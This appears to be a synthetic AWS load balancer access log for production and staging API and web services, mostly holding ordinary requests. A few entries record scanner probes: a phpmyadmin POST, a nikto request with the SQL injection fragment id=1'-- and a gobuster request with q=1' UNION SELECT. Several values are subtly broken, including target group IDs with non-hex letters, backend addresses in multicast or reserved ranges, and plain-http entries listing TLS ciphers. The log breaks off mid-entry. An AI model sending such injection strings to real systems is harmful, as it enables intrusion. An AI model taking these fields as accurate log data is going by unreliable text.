"-" "-" "10.0.33.55:443" "404" "-" "-" +https 2024-11-01T02:27:20.500619Z prod-api-alb 56.196.194.13:11545 10.0.21.180:443 0.044150 0.304372 0.023740 200 200 407 3357 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723da18-d7f2b0b0bae54a6e8f025cae" "prod-api-alb.example.com" "-" 7 2024-11-01T02:27:20.500619Z "forward" "-" "-" "10.0.21.180:443" "200" "-" "-" +https 2024-11-01T02:27:22.454822Z prod-api-alb 7.58.146.246:43289 10.0.241.230:443 0.079560 0.101499 0.078987 200 200 858 385 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723da1a-5f505928b4f148a685158807" "prod-api-alb.example.com" "-" 0 2024-11-01T02:27:22.454822Z "forward" "-" "-" "10.0.241.230:443" "200" "-" "-" +https 2024-11-01T02:27:23.999357Z prod-api-alb 45.155.205.103:31539 10.0.143.136:443 0.060385 0.287693 0.081848 401 401 871 2953 "POST /phpmyadmin HTTP/1.1" "Go-http-client/2.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723da1b-d2947691edf94bc3b24ebaa1" "-" "-" 2 2024-11-01T02:27:23.999357Z "forward" "-" "-" "10.0.143.136:443" "401" "-" "-" +https 2024-11-01T02:27:24.421462Z prod-api-alb 61.218.167.147:12335 10.0.191.36:443 0.020115 0.295726 0.060876 200 200 998 2333 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723da1c-b50e4d2dc4f24966b34b6467" "prod-api-alb.example.com" "-" 0 2024-11-01T02:27:24.421462Z "forward" "-" "-" "10.0.191.36:443" "200" "-" "-" +https 2024-11-01T02:27:26.416065Z prod-api-alb 19.63.199.251:62509 10.0.10.67:443 0.062116 0.003477 0.005667 404 404 704 13715 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723da1e-1389364b452a457f9549d174" "prod-api-alb.example.com" "-" 7 2024-11-01T02:27:26.416065Z "forward" "-" "-" "10.0.10.67:443" "404" "-" "-" +https 2024-11-01T02:27:27.007802Z prod-api-alb 195.172.225.141:28324 10.0.191.187:443 0.019981 0.135469 0.072659 302 302 325 8885 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723da1f-a835c502060f46c182426335" "prod-api-alb.example.com" "-" 4 2024-11-01T02:27:27.007802Z "forward" "-" "-" "10.0.191.187:443" "302" "-" "-" +https 2024-11-01T02:27:27.153778Z prod-web-alb 41.84.163.219:41207 10.0.32.76:443 0.040684 0.292876 0.066000 200 200 168 7017 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723da1f-e0f4936e43dc427b9c03280e" "prod-web-alb.example.com" "-" 10 2024-11-01T02:27:27.153778Z "forward" "-" "-" "10.0.32.76:443" "200" "-" "-" +https 2024-11-01T02:27:27.731738Z prod-api-alb 117.112.10.31:22821 10.0.221.69:443 0.016964 0.476948 0.036018 200 200 138 2744 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723da1f-f3e11f3d8741456082eb1c0a" "prod-api-alb.example.com" "-" 4 2024-11-01T02:27:27.731738Z "forward" "-" "-" "10.0.221.69:443" "200" "-" "-" +https 2024-11-01T02:27:27.937060Z prod-api-alb 182.131.61.154:36787 10.0.135.13:443 0.040830 0.393787 0.035274 200 200 243 4651 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723da1f-31c4b7a4f6d949f9a27e0efc" "prod-api-alb.example.com" "-" 5 2024-11-01T02:27:27.937060Z "forward" "-" "-" "10.0.135.13:443" "200" "-" "-" +https 2024-11-01T02:27:28.339665Z prod-web-alb 185.181.135.255:41842 10.0.108.205:443 0.014004 0.116144 0.028359 200 200 624 11172 "POST /login?id=1'-- HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723da20-d26b16814bff412fb4916410" "-" "-" 9 2024-11-01T02:27:28.339665Z "forward" "-" "-" "10.0.108.205:443" "200" "-" "-" +https 2024-11-01T02:27:29.162493Z prod-web-alb 147.108.137.96:48378 10.0.95.14:443 0.023768 0.337411 0.038480 200 200 734 10533 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723da21-56afbee903af45dd8a43b27c" "prod-web-alb.example.com" "-" 5 2024-11-01T02:27:29.162493Z "forward" "-" "-" "10.0.95.14:443" "200" "-" "-" +https 2024-11-01T02:27:30.516176Z staging-alb 164.115.48.65:10509 193.255.177.225:80 0.008911 0.723586 0.044186 404 404 225 5360 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723da22-64907132654a4917923d7111" "staging-alb.example.com" "-" 5 2024-11-01T02:27:30.516176Z "forward" "-" "-" "193.255.177.225:80" "404" "-" "-" +http 2024-11-01T02:27:31.082702Z staging-alb 181.73.75.190:10741 234.117.160.228:8080 0.011732 0.152011 0.070929 200 200 319 7039 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723da23-93e1862412744c3397a98b08" "staging-alb.example.com" "-" 10 2024-11-01T02:27:31.082702Z "forward" "-" "-" "234.117.160.228:8080" "200" "-" "-" +https 2024-11-01T02:27:31.199603Z prod-api-alb 78.139.118.210:61415 10.0.37.159:443 0.078780 0.471154 0.083739 302 302 641 4777 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723da23-bcb92f40d268440d85234122" "prod-api-alb.example.com" "-" 9 2024-11-01T02:27:31.199603Z "forward" "-" "-" "10.0.37.159:443" "302" "-" "-" +https 2024-11-01T02:27:31.657708Z prod-api-alb 216.237.84.245:25739 10.0.3.161:443 0.053401 0.035421 0.082456 200 200 159 13993 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723da23-1dfa0ca263794a3399d0cec3" "prod-api-alb.example.com" "-" 5 2024-11-01T02:27:31.657708Z "forward" "-" "-" "10.0.3.161:443" "200" "-" "-" +http 2024-11-01T02:27:33.121670Z staging-alb 88.171.41.26:49040 120.94.122.124:80 0.046781 0.440631 0.099647 200 200 91 9331 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723da25-a7ea50a3e805416a95f2932b" "staging-alb.example.com" "-" 3 2024-11-01T02:27:33.121670Z "forward" "-" "-" "120.94.122.124:80" "200" "-" "-" +https 2024-11-01T02:27:33.860689Z prod-web-alb 91.63.82.44:26400 10.0.222.227:443 0.095028 0.322738 0.030319 200 200 377 10606 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723da25-396cc97cd6cf4ea68269ba88" "prod-web-alb.example.com" "-" 5 2024-11-01T02:27:33.860689Z "forward" "-" "-" "10.0.222.227:443" "200" "-" "-" +https 2024-11-01T02:27:34.565648Z prod-api-alb 34.201.82.205:21346 10.0.205.196:443 0.031749 0.434221 0.057657 200 200 345 5388 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723da26-d32f50e4d44e40668289f0e2" "prod-api-alb.example.com" "-" 9 2024-11-01T02:27:34.565648Z "forward" "-" "-" "10.0.205.196:443" "200" "-" "-" +https 2024-11-01T02:27:36.562546Z prod-api-alb 106.80.5.61:18929 10.0.249.54:443 0.035497 0.304810 0.056233 200 200 887 5385 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723da28-006674930b0a42c0974c6db0" "prod-api-alb.example.com" "-" 9 2024-11-01T02:27:36.562546Z "forward" "-" "-" "10.0.249.54:443" "200" "-" "-" +https 2024-11-01T02:27:37.574617Z prod-web-alb 14.199.28.108:11580 10.0.241.181:443 0.063473 0.015473 0.049822 200 200 299 4154 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723da29-c330810cb11a4990b0e7f1c8" "prod-web-alb.example.com" "-" 0 2024-11-01T02:27:37.574617Z "forward" "-" "-" "10.0.241.181:443" "200" "-" "-" +https 2024-11-01T02:27:39.441452Z prod-api-alb 58.96.203.74:55514 10.0.196.198:443 0.068126 0.161571 0.093219 200 200 391 14093 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723da2b-8c57f57b5aef4857a308ab0b" "prod-api-alb.example.com" "-" 4 2024-11-01T02:27:39.441452Z "forward" "-" "-" "10.0.196.198:443" "200" "-" "-" +https 2024-11-01T02:27:39.585844Z prod-api-alb 46.244.154.152:17163 10.0.64.74:443 0.083649 0.457783 0.020871 404 404 166 11133 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723da2b-8871a84cd6aa47349163d114" "prod-api-alb.example.com" "-" 2 2024-11-01T02:27:39.585844Z "forward" "-" "-" "10.0.64.74:443" "404" "-" "-" +http 2024-11-01T02:27:40.854502Z staging-alb 193.27.228.108:51349 109.160.0.230:443 0.145978 0.534336 0.040705 500 500 97 4701 "GET /search?q=1' UNION SELECT HTTP/1.1" "gobuster/3.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723da2c-b3241c5822eb46cfb5e70de4" "-" "-" 10 2024-11-01T02:27:40.854502Z "forward" "-" "-" "109.160.0.230:443" "500" "-" "-" +https 2024-11-01T02:27:41.004577Z prod-api-alb 142.49.104.43:20510 10.0.75.221:443 0.046053 0.266920 0.031804 200 200 327 13006 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723da2d-0d78a26a4b7e448ca8db4e5d" "prod-api-alb.example.com" "-" 2 2024-11-01T02:27:41.004577Z "forward" "-" "-" "10.0.75.221:443" "200" "-" "-" +https 2024-11-01T02:27:42.992941Z prod-web-alb 229.251.162.134:14657 10.0.36.197:443 0.048480 0.003700 0.062730 200 200 748 10097 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723da2e-e5aebf29271b46d4854213a4" "prod-web-alb.example.com" "-" 8 2024-11-01T02:27:42.992941Z "forward" "-" "-" "10.0.36.197:443" "200" "-" "-" +http 2024-11-01T02:27:44.177004Z staging-alb 52.6.226.32:46031 218.55.207.111:8080 0.075098 0.295310 0.051215 404 404 908 3206 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723da30-f2654c13c4304624a4c7d1eb" "staging-alb.example.com" "-" 4 2024-11-01T02:27:44.177004Z "forward" "-" "-" "218.55.207.111:8080" "404" "-" "-" +https 2024-11-01T02:27:46.139959Z prod-api-alb 212.109.140.223:46130 10.0.84.236:443 0.078742 0.258040 0.067557 200 200 669 9315 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723da32-9e806b2392f84fff87c9f58a" "prod-api-alb.example.com" "-" 5 2024-11-01T02:27:46.139959Z "forward" "-" "-" "10.0.84.236:443" "200" "-" "-" +https 2024-11-01T02:27:46.456204Z staging-alb 40.179.170.12:43986 85.101.255.236:80 0.018855 0.028477 0.055627 200 200 375 7829 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723da32-92df316fee0a49c9b552c08a" "staging-alb.example.com" "-" 2 2024-11-01T02:27:46.456204Z "forward" "-" "-" "85.101.255.236:80" "200" "-" "-" +https 2024-11-01T02:27:47.054854Z prod-web-alb 101.103.117.73:51512 10.0.139.227:443 0.002444 0.202683 0.005964 301 301 706 3142 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723da33-82473d017ee64a5e9fae91da" "prod-web-alb.example.com" "-" 3 2024-11-01T02:27:47.054854Z "forward" "-" "-" "10.0.139.227:443" "301" "-" "-" +https 2024-11-01T02:27:47.800713Z prod-api-alb 203.165.164.185:35027 10.0.122.101:443 0.074096 0.231049 0.053581 200 200 199 5036 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723da33-25bebc81e54643aca499e09e" "prod-api-alb.example.com" "-" 10 2024-11-01T02:27:47.800713Z "forward" "-" "-" "10.0.122.101:443" "200" "-" "-" +https 2024-11-01T02:27:49.746341Z staging-alb 246.108.220.227:17509 105.242.8.186:8080 0.048245 0.056194 0.104793 404 404 330 1392 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723da35-17ddd9fc0b024614b54d6e48" "staging-alb.example.com" "-" 8 2024-11-01T02:27:49.746341Z "forward" "-" "-" "105.242.8.186:8080" "404" "-" "-" +https 2024-11-01T02:27:50.073693Z prod-api-alb 114.37.52.211:27443 10.0.159.168:443 0.039705 0.380796 0.085365 200 200 317 5339 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723da36-e3555dabe2334a30aa20160a" "prod-api-alb.example.com" "-" 6 2024-11-01T02:27:50.073693Z "forward" "-" "-" "10.0.159.168:443" "200" "-" "-" +https 2024-11-01T02:27:51.217581Z staging-alb 103.73.70.52:61529 150.122.64.7:443 0.102392 0.378882 0.001803 200 200 881 11575 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723da37-9053bf3f3ab745f2bfec535e" "staging-alb.example.com" "-" 1 2024-11-01T02:27:51.217581Z "forward" "-" "-" "150.122.64.7:443" "200" "-" "-" +https 2024-11-01T02:27:52.910296Z prod-web-alb 189.60.90.70:48809 10.0.232.184:443 0.038881 0.049072 0.055782 200 200 839 6590 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723da38-2079084f26a64bb79ddda086" "prod-web-alb.example.com" "-" 8 2024-11-01T02:27:52.910296Z "forward" "-" "-" "10.0.232.184:443" "200" "-" "-" +http 2024-11-01T02:27:54.009223Z staging-alb 128.182.173.98:37228 89.117.87.223:443 0.048525 0.287215 0.050797 200 200 60 6242 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723da3a-849025e784594624a664f2d1" "staging-alb.example.com" "-" 0 2024-11-01T02:27:54.009223Z "forward" "-" "-" "89.117.87.223:443" "200" "-" "-" +http 2024-11-01T02:27:54.277637Z staging-alb 19.156.6.130:26844 214.52.181.139:443 0.013408 0.622952 0.092763 404 404 787 7112 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723da3a-ecb7accd77514724b82c8117" "staging-alb.example.com" "-" 2 2024-11-01T02:27:54.277637Z "forward" "-" "-" "214.52.181.139:443" "404" "-" "-" +https 2024-11-01T02:27:56.216541Z prod-web-alb 1.229.91.9:18393 10.0.222.40:443 0.032391 0.383267 0.053991 302 302 861 6364 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723da3c-46a0ed29bfc34a1b99285356" "prod-web-alb.example.com" "-" 0 2024-11-01T02:27:56.216541Z "forward" "-" "-" "10.0.222.40:443" "302" "-" "-" +https 2024-11-01T02:27:56.643800Z prod-web-alb 219.72.182.129:25257 10.0.138.193:443 0.005012 0.408813 0.042628 200 200 813 4514 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723da3c-e8bc2fab2d62421a9199d0a9" "prod-web-alb.example.com" "-" 9 2024-11-01T02:27:56.643800Z "forward" "-" "-" "10.0.138.193:443" "200" "-" "-" +https 2024-11-01T02:27:57.399128Z prod-web-alb 238.33.79.62:27491 10.0.58.13:443 0.029775 0.092498 0.033715 302 302 309 8157 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723da3d-2ac2c55845d14bde87018fc6" "prod-web-alb.example.com" "-" 10 2024-11-01T02:27:57.399128Z "forward" "-" "-" "10.0.58.13:443" "302" "-" "-" +https 2024-11-01T02:27:57.766798Z prod-web-alb 150.41.206.186:48130 10.0.75.119:443 0.061097 0.141831 0.060358 200 200 820 11697 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723da3d-3fbe7cc4c5f84f79a595d711" "prod-web-alb.example.com" "-" 2 2024-11-01T02:27:57.766798Z "forward" "-" "-" "10.0.75.119:443" "200" "-" "-" +http 2024-11-01T02:27:59.381404Z staging-alb 209.21.76.153:21671 0.175.224.147:443 0.096297 0.076432 0.042555 200 200 10 12598 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723da3f-2370a269a65b443e8adf4904" "staging-alb.example.com" "-" 10 2024-11-01T02:27:59.381404Z "forward" "-" "-" "0.175.224.147:443" "200" "-" "-" +https 2024-11-01T02:27:59.639576Z prod-api-alb 27.83.239.52:29135 10.0.18.51:443 0.049854 0.355413 0.022591 301 301 160 7202 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723da3f-9e3cfc183873497ab68a1aa9" "prod-api-alb.example.com" "-" 8 2024-11-01T02:27:59.639576Z "forward" "-" "-" "10.0.18.51:443" "301" "-" "-" +https 2024-11-01T02:28:00.118661Z prod-web-alb 88.48.22.185:35017 10.0.232.62:443 0.023489 0.314668 0.003706 200 200 694 8035 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723da40-d543f68443f541379023d8f2" "prod-web-alb.example.com" "-" 2 2024-11-01T02:28:00.118661Z "forward" "-" "-" "10.0.232.62:443" "200" "-" "-" +https 2024-11-01T02:28:00.757577Z staging-alb 149.218.73.66:25784 154.208.160.84:8080 0.020965 0.149868 0.129447 200 200 784 14068 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723da40-dd9dc953f1da4272b1e46fff" "staging-alb.example.com" "-" 1 2024-11-01T02:28:00.757577Z "forward" "-" "-" "154.208.160.84:8080" "200" "-" "-" +https 2024-11-01T02:28:02.217665Z prod-api-alb 50.56.235.178:56762 10.0.17.89:443 0.041006 0.158648 0.099113 404 404 107 8825 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723da42-1b25c07ba1f041b5b297a1e4" "prod-api-alb.example.com" "-" 0 2024-11-01T02:28:02.217665Z "forward" "-" "-" "10.0.17.89:443" "404" "-" "-" +https 2024-11-01T02:28:03.359367Z staging-alb 14.175.247.214:36960 238.185.131.98:8080 0.039673 0.712761 0.014621 200 200 192 10801 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723da43-ad50c6414a7a4672b10e2c30" "staging-alb.example.com" "-" 5 2024-11-01T02:28:03.359367Z "forward" "-" "-" "238.185.131.98:8080" "200" "-" "-" +https 2024-11-01T02:28:04.894390Z staging-alb 228.59.176.222:10855 48.170.92.93:443 0.057276 0.122961 